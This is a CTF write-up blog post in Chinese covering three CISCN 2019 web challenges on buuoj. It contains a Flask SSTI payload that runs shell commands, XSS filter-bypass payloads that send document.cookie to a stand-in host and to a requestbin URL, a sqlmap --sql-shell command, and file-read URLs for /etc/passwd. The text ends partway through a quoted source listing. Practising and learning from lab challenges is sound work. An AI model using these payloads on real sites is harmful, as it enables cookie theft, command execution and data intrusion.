2020.08.02近几日buuoj刷题记录(CISCN)

快到国赛了,把buu上的CISCN题目做一遍练练手

CISCN2019 华东南赛区 Double Secret

扫目录,扫到/console/secret,进去console发现是flask的控制台模式,需要pin码;

访问secret路由,页面显示:

Tell me your secret.I will encrypt it so others can't see

那么带上secret参数请求,

/secret?secret=1

回显d

更改参数:

/secret?secret={{config}}

得到报错页面,从页面中找到部分相关源码:

1
2
3
4
5
6
7
8
9
10
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

fuzz一下字符加密前后的转换:

1
2
3
4
5
6
7
8
9
10
import requests
import string

url = 'http://6c7d2cd9-e022-44b2-beb8-560ba2fc3b02.node3.buuoj.cn/secret?secret='

dic = string.printable

for i in dic:
s = requests.get(url+i).text
print(i,' => ',s)

结果中,有些字符被ban了:

i     '<' is not allowed. Secret is <
k     '>' is not allowed. Secret is >
n     ';' is not allowed. Secret is ;
)     '|' is not allowed. Secret is |

从网上找了个rc4加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
from urllib.parse import quote
import requests


def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt


def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box


def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


rc4_main("HereIsTreasure","{{get_flashed_messages.__globals__['os'].popen('cat /flag.txt').read()}}")

直接用脚本发包会出现编码问题,因此最好用浏览器发送payload

CISCN2019 华东北赛区 Web2

注册登录后,有一个发表文章和反馈的页面,很明显要进行xss:

输入<script>发表后查看是一个空白页面,查看页面源码:

1
<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script>

随便输入:

1
<script>alert`1`</script>

可以进行弹窗,但输入:

1
<script>window.location='http://127.0.0.1'</script>

发现//被替换成了waf=被替换成等于号

由于其可以使用unsafe-inline,那么便可以用eval()去执行js函数,只需用String.fromCharCodeasciii码转为字符串即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function stringToAscii(str){
    var val="";
    for(var i = 0; i < str.length; i++){

      if(val == "")
        val = str.charCodeAt(i)
//str.charCodeAt(i).toString(16); 转为16进制
      else
        val += "," + str.charCodeAt(i);
    }
    return val;
  }
var str = "document.location=http://xxx.com+document.cookie";
stringToAscii(str);

//<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,104,116,116,112,58,47,47,120,120,120,46,99,111,109,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script>

不过试了才发现英文括号被替换成了中文括号…

那么使用svg标签,里面的script标签中可以使用其他类型的编码,只需将js代码进行实体编码便可绕过过滤:

1
2
<svg><script>&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x68;&#x74;&#x74;&#x70;&#x2E;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x62;&#x69;&#x6E;&#x2E;&#x62;&#x75;&#x75;&#x6F;&#x6A;&#x2E;&#x63;&#x6E;&#x2F;&#x31;&#x6F;&#x72;&#x78;&#x61;&#x36;&#x69;&#x31;&#x2F;&#x3F;&#x27;&#x2B;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3B;
</script></svg>

然后用buu的requestbin服务,接收到管理员的cookie,扫目录发现admin.php,访问后有个功能是根据id查询用户,测试发现存在注入,直接sqlmap一把唆:

1
./sqlmap.py -u 'http://d9edcbc1-f02c-4a6b-b6c8-757cae170df5.node3.buuoj.cn/admin.php?id=2' --delay 1 --random-agent --cookie='PHPSESSID=364b49cd2c290cf67852cbe9711b4dce' --sql-shell

最后查询flag:

SELECT flagg FROM flag

CISCN2019 华东南赛区 Web4

直接抓包,可以发现flask session,对其解码,得到:

1
b'{"username":{" b":"d3d3LWRhdGE="}}'

base64解码得到www-data

点击链接跳转之后像是一个文件读取的接口:

1
/read?url=/etc/passwd

读取/proc/self/cmdline

1
/usr/local/bin/python/app/app.py

或者使用local_file:/etc/passwdlocal-file:/etc/passwd///etc/passwd读文件

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex: